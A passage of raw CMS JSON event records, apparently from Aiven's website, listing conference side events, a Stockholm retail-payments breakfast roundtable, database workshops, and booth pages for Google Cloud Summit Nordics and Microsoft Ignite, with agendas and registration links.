spot","iframeHeight":555,"iframeSource":"https://go.aiven.io/l/890043/2024-10-28/vmdkl"},"image":{"_type":"mainImage","asset":{"_ref":"image-9a423a7c21b828c3a2e602df807ef0c90188f0f1-16000x9000-png","_type":"reference"}},"isCaptionShown":false,"primaryCTA":{"_type":"link","title":"Register Below"},"registrationType":"iframe","replaceContent":false},"region":"AMER","seo":{"_type":"metaData","excludeFromSitemap":true,"metaImage":{"_type":"mainImage","asset":{"_ref":"image-0993e781370f34d42c191667ccb32d5ee9a6fb93-271x186-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/events/aws-reinvent-2024-dinner"},"startDate":"2024-12-04T03:00:00.000Z","title":"Side Event | AWS re:Invent 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-12-03T07:20:52Z","_id":"0afe4c73-3272-4da8-9353-86e2fdd494d5","_rev":"UPIPX87Xr8dUQrGWDzU9lj","_type":"event","_updatedAt":"2024-12-05T16:09:36Z","contentIsPage":true,"country":"SE","endDate":"2025-01-29T09:30:00.000Z","hideInEventPage":true,"linkTitle":"Register","location":" 7A Strandvägen, Stockholm","pageType":{"_type":"eventPage","content":[{"_key":"e916867db8d2","_type":"agenda","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselImages":[{"_key":"dbf27deba8c7","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-c0ecca1e68279de3ff6b1e5c03015e3efef72965-1536x2048-jpg","_type":"reference"}}}],"disabled":false,"eventSessions":[{"_key":"c664a365b0e0","_type":"eventSession","items":[{"_key":"d780fa522349","_type":"eventSessionItem","category":"Welcome","description":[{"_key":"725c862d1c97","_type":"block","children":[{"_key":"f49aff9027560","_type":"span","marks":[],"text":"Kick off the morning with a light breakfast and the opportunity to connect with fellow participants."}],"markDefs":[],"style":"normal"}],"time":"8:30–8:50","title":"Registration, Networking, and Breakfast"},{"_key":"26b0c3986aec","_type":"eventSessionItem","avatars":[{"_key":"20e0bf2457fa","_ref":"6e39f77d-98aa-41ff-972f-bbe610fd8914","_type":"reference"},{"_key":"247a1af0f087","_ref":"2511ae78-24c0-41b9-b6d5-0becad501412","_type":"reference"}],"category":"Talk 1","description":[{"_key":"f5e96e085f52","_type":"block","children":[{"_key":"fdf11cb11c610","_type":"span","marks":[],"text":"How payment trends are reshaping purchasing decisions and creating opportunities for competitive advantage."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ca52e17a3f0c","_type":"block","children":[{"_key":"3d38d03911c20","_type":"span","marks":[],"text":"Benefits of open banking and account-to-account payments to streamline operations, reduce costs, and improve flexibility."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"823d8c4effc1","_type":"block","children":[{"_key":"a7a2745345370","_type":"span","marks":[],"text":"Key design principles for building high-availability, scalable payment systems."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"8:50–9:20","title":"Disruptions and Modernization in Retail Payments"},{"_key":"7b246aa50b9c","_type":"eventSessionItem","category":"Break","description":[{"_key":"25ace48b5292","_type":"block","children":[{"_key":"28b1cc8439000","_type":"span","marks":[],"text":"Take a short break to reflect, connect, and prepare for the next session."}],"markDefs":[],"style":"normal"}],"time":"9:20–9:25","title":"Networking Break"},{"_key":"b30f2f5c58ab","_type":"eventSessionItem","avatars":[{"_key":"9ebae3ed8576","_ref":"9c6103c5-9c50-4bdd-9477-df415b254880","_type":"reference"}],"category":"Talk 2","description":[{"_key":"15a079cc9a20","_type":"block","children":[{"_key":"18b43a2f2a9a0","_type":"span","marks":[],"text":"Learn how Coop consistently launches new features while maintaining cost-efficient application upkeep."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0f85c6020650","_type":"block","children":[{"_key":"f068f5b8165a0","_type":"span","marks":[],"text":"Explore Coop’s current application landscape and reveal how reusable services and event-driven architecture enable sustainable returns, rapid release cycles, and flexible partnerships."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"9:25–9:45","title":"Payment Operations Efficiency at Coop"},{"_key":"9aa3dbf19a14","_type":"eventSessionItem","avatars":[{"_key":"ac1eb1b16e5a","_ref":"f2686486-2cf1-4777-a9a4-e8673dac62e0","_type":"reference"}],"category":"Discussion","description":[{"_key":"d115f6e1a86a","_type":"block","children":[{"_key":"62bc290051f50","_type":"span","marks":[],"text":"Collaborate with IT managers and experts to tackle challenges in payment operations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"34c8a1e60a0b","_type":"block","children":[{"_key":"3f290131d7fb0","_type":"span","marks":[],"text":"Explore innovative solutions powered by Apache Kafka for real-time processing and seamless integration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"time":"9:45–10:30","title":"Interactive Roundtable Discussion"},{"_key":"c105944e3297","_type":"eventSessionItem","description":[{"_key":"2086df8544c7","_type":"block","children":[{"_key":"fa3bc9c6ae100","_type":"span","marks":[],"text":"Recap key insights, discuss next steps, and exchange final thoughts before concluding the event."}],"markDefs":[],"style":"normal"}],"time":"10:30","title":"Closing Remarks and Key Takeaways"}]}],"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","topOverlap":false},{"_key":"7ed5d662d577","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","avatars":[{"_key":"f0ef850b0114","_ref":"6e39f77d-98aa-41ff-972f-bbe610fd8914","_type":"reference"},{"_key":"8a265b13a019","_ref":"2511ae78-24c0-41b9-b6d5-0becad501412","_type":"reference"},{"_key":"fecea906b007","_ref":"9c6103c5-9c50-4bdd-9477-df415b254880","_type":"reference"},{"_key":"e90c2cfe1741","_ref":"f2686486-2cf1-4777-a9a4-e8673dac62e0","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Meet our speakers","topOverlap":false,"variant":"default"}],"eventDetails":[{"_key":"20d46fae6f1c","_type":"block","children":[{"_key":"0c2c2047073b","_type":"span","marks":[],"text":"Join us for a breakfast roundtable hosted by Irori \u0026 Aiven, where payment professionals come together to exchange ideas, tackle industry challenges, and explore what is next for retail payments. This is your chance to connect, learn, and contribute to shaping the future of the industry.\n"}],"markDefs":[],"style":"normal"},{"_key":"5574dc73f2d1","_type":"block","children":[{"_key":"ad2525932e37","_type":"span","marks":["strong"],"text":"Why Attend?"}],"markDefs":[],"style":"normal"},{"_key":"afb63adfcaf9","_type":"block","children":[{"_key":"bcc2bf3f00ae0","_type":"span","marks":["strong"],"text":"Gain Actionable Insights:"},{"_key":"bcc2bf3f00ae1","_type":"span","marks":[],"text":" Hear from industry leaders like Carita Weiss, CEO at Avanoro, and Gustav Norbäcker, Solution Architect at Irori, as they share strategies to leverage open banking, account-to-account payments, and scalable architecture for a competitive edge."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b4989d14f3d9","_type":"block","children":[{"_key":"891fa2866f1f0","_type":"span","marks":["strong"],"text":"Learn Real-World Applications:"},{"_key":"891fa2866f1f1","_type":"span","marks":[],"text":" Discover how Coop’s approach to payment operations enables cost-efficient upkeep, rapid feature releases, and flexible partnerships."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0caa6c8a6829","_type":"block","children":[{"_key":"bd0fbc34dd270","_type":"span","marks":["strong"],"text":"Collaborate and Problem-Solve:"},{"_key":"bd0fbc34dd271","_type":"span","marks":[],"text":" Engage in a moderated roundtable discussion led by Clayton Sammuller, GTM Director of EMEA at Aiven, addressing challenges and exploring solutions powered by Apache Kafka."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0fcd76df70a1","_type":"block","children":[{"_key":"212cd5e5588e0","_type":"span","marks":["strong"],"text":"Build Valuable Connections:"},{"_key":"212cd5e5588e1","_type":"span","marks":[],"text":" Connect with IT managers, retail executives, and payment professionals to exchange ideas and foster industry networks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5c5b3258681b","_type":"block","children":[{"_key":"625e82da43ea0","_type":"span","marks":[],"text":"This event is free to attend, but seats are limited to ensure meaningful discussions. Secure your spot today and join the conversation shaping the future of retail payments."}],"markDefs":[],"style":"normal"}],"eventTime":"8:30 - 10:30 CET","eventTitle":"Disruption in Retail Payments","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeader":"Reserve Your Spot","iframeHeight":650,"iframeSource":"https://go.aiven.io/l/890043/2024-12-03/vr591"},"isCaptionShown":false,"partnersImage":{"_type":"mainImage","asset":{"_ref":"image-b8b7691fb0510e8f1b2f44ccf7f7237d2f3ec398-1453x319-png","_type":"reference"}},"registrationType":"iframe","replaceContent":false},"region":"EMEA","seo":{"_type":"metaData","metaDescription":"Join tech managers and executives in Stockholm for a breakfast roundtable on retail payment trends, operational efficiency, and innovative solutions.","metaTitle":"Disruption in Retail Payments: Exclusive Breakfast Roundtable"},"slug":{"_type":"slug","current":"/events/disruption-in-retail-payments"},"startDate":"2025-01-29T07:30:00.000Z","title":"Disruption in Retail Payments","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-01-29T11:12:21Z","_id":"a1db81c7-1fd0-428f-b18c-e8c03089f7c4","_rev":"WvYfyMjuvK5pr969lSKJfZ","_type":"event","_updatedAt":"2024-10-04T16:18:33Z","contentIsPage":false,"description":[{"_key":"6453a16c9f8a","_type":"block","children":[{"_key":"fc1cc83b6f020","_type":"span","marks":[],"text":"Learn how to create a movie recommendation web app, using PostgreSQL® and pgvector. This workshop is 2 hours long with a short break in the middle."}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-23T12:00:00.000Z","image":{"_type":"mainImage","alt":"Build a movie recommendation app with Tensorflow and pgvector","asset":{"_ref":"image-e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Online","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/movie-recommender-with-tensorflow-pgvector","internalLink":{"_ref":"432056be-ad24-4120-8f16-49e3d764571a","_type":"reference"},"title":"Sign up"},"startDate":"2024-10-23T10:00:00.000Z","title":"Build a movie recommendation app with Tensorflow and pgvector","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-05-11T13:25:52Z","_id":"9fad9826-d207-47b2-9a6d-ab3b125384b4","_rev":"ezMiwuUkJkbYMWycA4mwOU","_type":"event","_updatedAt":"2024-09-05T16:32:56Z","contentIsPage":false,"country":"RO","description":[{"_key":"c5220936b990","_type":"block","children":[{"_key":"928d73ce665a","_type":"span","marks":[],"text":"At Techsylvania? Make sure you join Sebastien Blanc's workshop \"Preparing and Using Data for AI with LangChain and OpenSearch®\"!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-27T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Transylvania","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://techsylvania.com/","title":"Register"},"region":"EMEA","startDate":"2024-06-26T07:00:00.000Z","talks":[{"_key":"f3c34ce380b4","_type":"talk","description":[{"_key":"8d44bfa3f5cd","_type":"block","children":[{"_key":"778c17814c7f","_type":"span","marks":[],"text":"A version of this workshop, specifically created for Techsylvania, which took place in Romania, June 2024."}],"markDefs":[],"style":"normal"},{"_key":"c8fc21344633","_type":"block","children":[{"_key":"863b4311c53e","_type":"span","marks":[],"text":"- "},{"_key":"ed5a8cd68fa4","_type":"span","marks":["08d39cf59914"],"text":"Watch the video"}],"markDefs":[{"_key":"08d39cf59914","_type":"link","href":"https://www.youtube.com/watch?v=9C9W-glToe8"}],"style":"normal"},{"_key":"29d32c832212","_type":"block","children":[{"_key":"c69a5118dfc4","_type":"span","marks":[],"text":"- Find the workshop materials on "},{"_key":"57757ba9c225","_type":"span","marks":["3f548380f34e"],"text":"Aiven Labs"}],"markDefs":[{"_key":"3f548380f34e","_type":"link","href":"https://github.com/Aiven-Labs/preparing-data-for-opensearch-and-rag"}],"style":"normal"}],"speakers":[{"_key":"695589cc8a96","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"},{"_key":"6ed85f93890a","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"Preparing and Using Data for AI with LangChain and OpenSearch®"}],"title":"Techsylvania","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-06-05T12:17:25Z","_id":"80aacc5f-ae29-4909-92d1-138f19cdbf9b","_rev":"5Y6vKnaopt6UOraqDmTt8j","_type":"event","_updatedAt":"2024-06-05T12:50:27Z","contentIsPage":false,"description":[{"_key":"b0d9e019ad5e","_type":"block","children":[{"_key":"4e52d918a47b0","_type":"span","marks":[],"text":"In this online workshop you'll learn the basics of query optimization in PostgreSQL®. From understanding the path of the query to optimizing your indexes and joins, we’ll cover the foundation, tools and techniques to improve the performance of your SQL queries."}],"markDefs":[],"style":"normal"},{"_key":"dc284136f148","_type":"block","children":[{"_key":"8ac15685fd650","_type":"span","marks":[],"text":"This workshop is one hour long. Open to beginner levels, though the knowledge of SQL basics is desired."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-26T17:00:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","asset":{"_ref":"image-eb250de4cabfed80bdd99d3debd758bce7bbec15-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/sql-optimization-101","internalLink":{"_ref":"7a9f8186-a601-4b72-bc0b-c21858024f23","_type":"reference"},"title":"Sign up"},"startDate":"2024-06-26T16:00:00.000Z","title":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-06-14T11:36:50Z","_id":"3c213b02-6526-4db7-805f-750aa7d6c869","_rev":"Kb0dTVsXFm2RoZ9rpoD4Q9","_type":"event","_updatedAt":"2024-06-14T11:36:50Z","contentIsPage":false,"country":"IN","description":[{"_key":"2de6f2b0bd56","_type":"block","children":[{"_key":"fbdd0d903cbb","_type":"span","marks":[],"text":"Join us for an Open Source Data Infrastructure meetup organized in collaboration with StarTree, taking place at the Nokia Campus on August 24!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-08-24T12:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Bengaluru","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/india-open-source-data-infrastructure-meetup/events/300777565/","title":"RSVP"},"region":"APAC","startDate":"2024-08-24T09:00:00.000Z","title":"Bengaluru OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-06-14T11:59:58Z","_id":"150c2cc3-edf7-42d0-988c-42762b032eb1","_rev":"V7hUJb5ScZMSQ02ZsI6a6f","_type":"event","_updatedAt":"2024-06-14T11:59:58Z","contentIsPage":false,"country":"SE","description":[{"_key":"5b8d10185b15","_type":"block","children":[{"_key":"2416de260faa","_type":"span","marks":[],"text":"Join for the Stockholm Open Source Data Infrastructure Meetup with talks by Wilhelm Vöörtmann, CEO at Playground Security, and Björn Löfroth, Solution Architect at Irori."}],"markDefs":[],"style":"normal"}],"endDate":"2024-09-19T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Stockholm","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/stockholm-open-source-data-infrastructure-meetup/events/301553948/","title":"RSVP"},"region":"EMEA","startDate":"2024-09-19T15:00:00.000Z","title":"Stockholm OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-10-02T12:04:43Z","_id":"9e3c6eb2-e016-4ac1-8f73-04ccab211c25","_rev":"1U5rBVnZYn4alWirhgpqG3","_type":"event","_updatedAt":"2024-10-02T12:52:16Z","contentIsPage":true,"country":"SE","description":[{"_key":"ad965e7c9d01","_type":"block","children":[{"_key":"8ca40a5b2dd50","_type":"span","marks":[],"text":"Meet with Aiven at the upcoming Google Cloud Summit Nordics on 10 October 2024 to learn how our trusted Data and AI platform can help you build world class data infrastructure and innovative applications with Aiven on Google Cloud"}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-10T17:30:00.000Z","linkTitle":"Find out more","location":"Muenchenbryggeriet, Stockholm","pageType":{"_type":"eventPage","content":[{"_key":"69f12487f7f9","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"2cc54700-0d3f-443a-9277-51ed0a3ae1c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"121d38420421","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"52e0f63497b8","_type":"block","children":[{"_key":"532257bd6af90","_type":"span","marks":[],"text":"Integrate Aiven for Apache Kafka® with BigQuery and process data, in real-time, with Aiven for Apache Flink®."}],"markDefs":[],"style":"normal"}],"title":"Smart analytics"},{"_key":"87531d2b4024cc3477329aceced2c12e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0ccfeb6b822f","_type":"block","children":[{"_key":"64885e380f440","_type":"span","marks":[],"text":"Run Cassandra and Vertex AI together to build Feature Stores that enrich data for better model performance."}],"markDefs":[],"style":"normal"}],"title":"Powerful ML"},{"_key":"4e579e9137bd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2f4d3102b83a","_type":"block","children":[{"_key":"7fd7fb6233700","_type":"span","marks":[],"text":"With Aiven for AI Vector Databases, power vector similarity search - the foundational data that drives GenAI and increases the relevance of search results and LLMs."}],"markDefs":[],"style":"normal"}],"title":"Your path to GenAI"},{"_key":"87c286237d3f6b3697260943cab4820d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"73cdc34a8bc8","_type":"block","children":[{"_key":"61faeab9d7ad0","_type":"span","marks":[],"text":"Use an open source Observability stack to scale systems in real-time."}],"markDefs":[],"style":"normal"}],"title":"Automated scaling"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Build with Aiven on Google Cloud"},{"_key":"4669c45f4bd8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.cloud.google.com/marketplace/product/aiven-public/aiven?pli=1","title":"Learn more"},"roundedCorners":"rounded","subtitle":[{"_key":"c9ac496f1404","_type":"block","children":[{"_key":"bdd6ac0e42600","_type":"span","marks":[],"text":"Your one stop shop for everything Aiven on Google Cloud! Migrate today to the Marketplace to enjoy the best of Aiven and Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"32da8e867e03","_type":"block","children":[{"_key":"892d5a11ab0e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Available on Google Cloud Marketplace","variant":"centerColumn"},{"_key":"a7df905c9374","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"cb58bb6bdce9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6178760fb2a6","_type":"block","children":[{"_key":"f7ce727b89280","_type":"span","marks":[],"text":"Relax with Aiven’s industry-best SLAs - we promise to have your services running 99.99% of the time. That's 4 minutes of downtime per month."}],"markDefs":[],"style":"normal"}],"title":"Uptime"},{"_key":"4c1e68926472","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"82fb52c8904d","_type":"block","children":[{"_key":"1dd4dd5223590","_type":"span","marks":[],"text":"Aiven services run on dedicated virtual machines with end-to-end encryption and our platform is ISO 27001:2013, SOC 2, GDPR, and HIPAA compliant."}],"markDefs":[],"style":"normal"}],"title":"Security and compliance"},{"_key":"e3656ce8a1f6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"890e3cafb61f","_type":"block","children":[{"_key":"95c7fdfec0f40","_type":"span","marks":[],"text":"Customers love our expert 24/7 support, available 365 days a year. We’re there for you when you need us."}],"markDefs":[],"style":"normal"}],"title":"World class support"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Schedule meeting"},"roundedCorners":"rounded-none","title":"Your Trusted Data and AI Platform"},{"_key":"6hr0eia96wtiu3qvjjegtf5j4vn3oi1x","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-6f1102d45db7e8803ba6d8d22897efc454bbb1e5-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Why Aiven","text":[{"_key":"hvkb6836d5ek40cn21bfzo6ts36hubaj","_type":"block","children":[{"_key":"0b2gg0hdem8ax95zbfk0ek411b62mrki","_type":"span","marks":[],"text":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises across diverse sectors in more than 60 countries, to create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"}],"title":"Over 1,000 customers worldwide","topOverlap":false,"variant":"mediaCenter"},{"_key":"tqvusr81dkzgnpju7t3izljdrzdpxpcq","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"items":[{"_key":"51fp5cbvirdf6kfm0ooew0um2tokeu2r","_ref":"40ucogkq98cnZ5c9nSHFIF","_type":"reference"},{"_key":"ojsgzu15h57zhf7o5ywjfejvlyxe4ls7","_ref":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_type":"reference"},{"_key":"rse5m44fvvoptkftmppxg6nicvtverr3","_ref":"tVMArSxU5O2aohttt7Was","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"variant":"logo"}],"eventDetails":[{"_key":"3722308110f3","_type":"block","children":[{"_key":"835340ded941","_type":"span","marks":[],"text":"Aiven is excited to attend and sponsor Google Cloud Summit Nordics 2024! "}],"markDefs":[],"style":"normal"},{"_key":"e3441b03dd1a","_type":"block","children":[{"_key":"fec207cc698c","_type":"span","marks":[],"text":"Visit our booth to discuss:"}],"markDefs":[],"style":"normal"},{"_key":"11997fdac2d2","_type":"block","children":[{"_key":"599928773e220","_type":"span","marks":[],"text":"How you can optimize your cloud costs without compromising on uptime with Aiven (available on Google Marketplace)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0fc686eeb794","_type":"block","children":[{"_key":"8990fdb1ad2b","_type":"span","marks":[],"text":"How to leverage Aiven's Bring Your Own Cloud (BYOC) for greater cost optimization and control over infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd1702651c87","_type":"block","children":[{"_key":"c22b78708fca0","_type":"span","marks":[],"text":"Quickly provision data infrastructure needed for AI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"382c1340c145","_type":"block","children":[{"_key":"af95d7b0b0290","_type":"span","marks":[],"text":"Build a resilient multi-cloud architecture strategy that meets your security and compliance requirements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"8:30-18:30","eventTitle":"Google Cloud Summit Nordics","iframeForm":{"iframeHeader":"Your Trusted Data \u0026 AI Platform","iframeHeight":900,"iframeSource":"https://go.aiven.io/l/890043/2024-10-02/vhtmx"},"image":{"_type":"mainImage","asset":{"_ref":"image-f50ac2c2fb4b0d1f036877549b986641b089a937-1783x1520-png","_type":"reference"}},"partnersImage":{"_type":"mainImage","alt":"Logo Aiven at Google Cloud Summit Nordics 2024","asset":{"_ref":"image-336c8ba993307418150e5bb5cd61fe1728243897-1750x375-png","_type":"reference"}},"qualified":{"_type":"qualifiedExperienceLink","experienceId":"experience-1706626524327","title":"Book onsite meeting"},"registrationType":"iframe"},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/google-cloud-next-2024","title":"Register"},"region":"EMEA","seo":{"_type":"metaData","metaDescription":"Meet with Aiven at Google Cloud Summit Nordics to learn how our trusted Data and AI platform can help you build innovative applications at scale. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-31b181d82a874d4bd331bd73e505fe5e34a09756-1200x630-png","_type":"reference"}},"metaTitle":"Google Cloud Summit Nordic 2024"},"slug":{"_type":"slug","current":"/events/google-cloud-summit-nordics-2024"},"startDate":"2024-10-10T07:30:00.000Z","title":"Google Cloud Summit Nordics 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-09-24T16:51:37Z","_id":"950576a9-e036-474c-8d18-9c15ae24f32a","_rev":"Ypdm2WFkfKn13FbW5Vnw0H","_type":"event","_updatedAt":"2024-09-24T17:25:30Z","contentIsPage":true,"country":"US","description":[{"_key":"ad965e7c9d01","_type":"block","children":[{"_key":"8ca40a5b2dd50","_type":"span","marks":[],"text":"Meet the Aiven team at booth 437 during Microsoft Ignite 2024 and learn how our data and AI platform can help lower your cloud and infrastructure costs."}],"markDefs":[],"style":"normal"}],"endDate":"2024-11-22T22:00:00.000Z","linkTitle":"Meet with Aiven!","location":"McCormick Place West, Chicago, IL","pageType":{"_type":"eventPage","content":[{"_key":"zywkztew8s4kz994go3488uzh67aley5","_type":"logoList","addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"pllet7qt2evrzcb50uc6ypptvsbrkcks","_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},{"_key":"3xaw7ai520ublbmnw7t8xzzv3x9vsjpu","_ref":"217845de-9025-4cd7-b461-e126fb7fc23c","_type":"reference"},{"_key":"6y86s2zimn08lmgq5dl9972gaknd3ajo","_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},{"_key":"1yvmie81y0j4o3ka8wcwqdxyhpejqwyj","_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},{"_key":"3977u1k5y50jg4waed3v9od38dgq5l6h","_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"}],"noSpaceBottom":true,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/case-studies?hostProviders=Microsoft%2520Azure","title":"Explore all Microsoft Azure case studies"},"roundedCorners":"rounded-none","tagline":"Our products are trusted by industry 